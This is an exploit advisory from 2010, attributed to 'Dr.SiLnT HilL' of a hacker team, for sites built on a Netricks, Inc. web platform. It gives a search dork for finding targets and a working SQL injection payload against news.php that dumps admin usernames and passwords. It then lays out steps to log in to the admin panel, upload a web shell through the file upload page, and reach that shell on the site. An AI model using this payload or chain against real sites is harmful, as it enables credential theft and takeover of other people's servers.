73 lines
No EOL
2.3 KiB
Text
73 lines
No EOL
2.3 KiB
Text
@@@@@@@@@ @@@@@@@@ @@@@ @@@ @@@ @@@@@@@@ @@@@@@@@@@@@
|
|
@@@@@@@@@ @@@@@@@@ @@@@@@ @@@@@@ @@@@@@ @@@@@@@@ @@@@@@@ @@@
|
|
@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@
|
|
@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@
|
|
@@@ @@@@@@ @@@@@@ @@ @@ @@ @@ - @@@@@@@ @@
|
|
@@@ @@@@@@ @@@@@@ @@ @@@@@ @@ - @@@@@@@ @@
|
|
@@@ @@ @@ @@ @@ @@ @@ @@ @@@@
|
|
@@@ @@ @@ @@ @@ @@ @@ @@ @@
|
|
@@@ @@@@@@@@ @@ @@ @@ @@ @@@@@@@@ @@ @@
|
|
@@@ @@@@@@@@ @@ @@ @@ @@ @@@@@@@@ @@@@@@@@ Dr.SiLnT HilL
|
|
|
|
|
|
===================================================================================================================================
|
|
Website Design and Hosting By Netricks, Inc (news.php) SQL Injection Vulnerability
|
|
===================================================================================================================================
|
|
|
|
|
|
|
|
####################################################################################################################################
|
|
|
|
# Name: Website Design and Hosting By Netricks, Inc.
|
|
|
|
# Date: 25-05-2010
|
|
|
|
# vendor: http://www.netricks.com
|
|
|
|
# Dork: intext:" Website Design and Hosting By Netricks, Inc."
|
|
|
|
# Discovered By: Dr.SiLnT HilL
|
|
|
|
# Contact : i0x0@hotmail.com
|
|
|
|
# MY Team : TeaM HacKer Egypt
|
|
|
|
###################################################################################################################################
|
|
|
|
|
|
|
|
[+] SQL Injection Vulnerability:
|
|
|
|
|
|
[+] Vulnerability: http://[site]/[path]/news.php?ax=v&n=10&id=10&nid==[SQL Injection]
|
|
|
|
|
|
[+][+] Exploit [+][+]
|
|
|
|
|
|
http://[site]/[path]/news.php?ax=v&n=10&id=10&nid=-3+union+select+1,group_concat(username,0x3e,password),3,4,5+from+php_users--
|
|
|
|
|
|
[+][+] Admin Panel [+][+]
|
|
|
|
|
|
http://localhost/[path]/admin
|
|
|
|
|
|
[+][+] Upload your shell [+][+]
|
|
|
|
|
|
http://[site]/[path]/admin/content.php?ax=file_upload
|
|
|
|
|
|
|
|
[+][+] your shell [+][+]
|
|
|
|
|
|
http://[site]/[path]/gallery/shell.php
|
|
|
|
|
|
[+][+] Example [+][+]
|
|
|
|
|
|
################################################################################################################################### |